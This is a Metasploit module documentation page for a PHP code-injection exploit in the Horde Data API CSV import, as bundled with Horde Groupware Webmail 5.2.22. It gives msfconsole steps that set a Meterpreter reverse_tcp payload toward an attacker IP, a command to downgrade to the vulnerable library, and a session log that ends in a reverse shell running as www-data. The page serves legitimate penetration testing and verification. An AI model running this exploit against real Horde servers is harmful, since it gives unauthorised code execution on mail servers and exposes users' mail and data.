## Vulnerable Application

The Horde project comprises several standalone applications and libraries, the [Horde Groupware Webmail Edition suite](https://www.horde.org/apps/webmail) (tested version 5.2.22) bundles several of them by default, among those, Data ([Horde Data API](https://github.com/horde/Data)) is a library used to manage data import/export in several formats, e.g., CSV, iCalendar, vCard, etc. This library up to version 2.1.4 (included) is vulnerable to PHP code injection.

Find more information in the [original advisory](https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/).

## Verification Steps

  1. Install the application (see below)
  2. Start msfconsole
  3. Do: ```use exploit/multi/http/horde_csv_rce```
  4. Do: ```set payload php/meterpreter/reverse_tcp```
  5. Do: ```set lhost [ATTACKER IP]```
  6. Do: ```set rhost [TARGET IP]```
  7. Do: ```set username [username]```
  8. Do: ```set password [password]```
  9. Do: ```exploit```
 10. A session should open

Downgrade the Horde Data API package if needed:

```
pear uninstall --ignore-errors horde/horde_data-2.1.5
pear install --ignore-errors horde/horde_data-2.1.4
```

## Scenarios

### Horde Groupware Webmail Edition 5.2.22 with Horde Data API 2.1.4 on Debian GNU/Linux 9

```
msf > use exploit/multi/http/horde_csv_rce
msf exploit(multi/http/horde_csv_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/horde_csv_rce) > set lhost 192.168.1.69
lhost => 192.168.1.69
msf exploit(multi/http/horde_csv_rce) > set rhost 192.168.1.69
rhost => 192.168.1.69
msf exploit(multi/http/horde_csv_rce) > set username alice
username => alice
msf exploit(multi/http/horde_csv_rce) > set password alice
password => alice
msf exploit(multi/http/horde_csv_rce) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (38288 bytes) to 172.17.0.1
[*] Meterpreter session 1 opened (172.17.0.2:4444 -> 172.17.0.1:44524) at 2020-03-14 14:55:17 +0000

meterpreter > getuid
Server username: www-data (33)
```
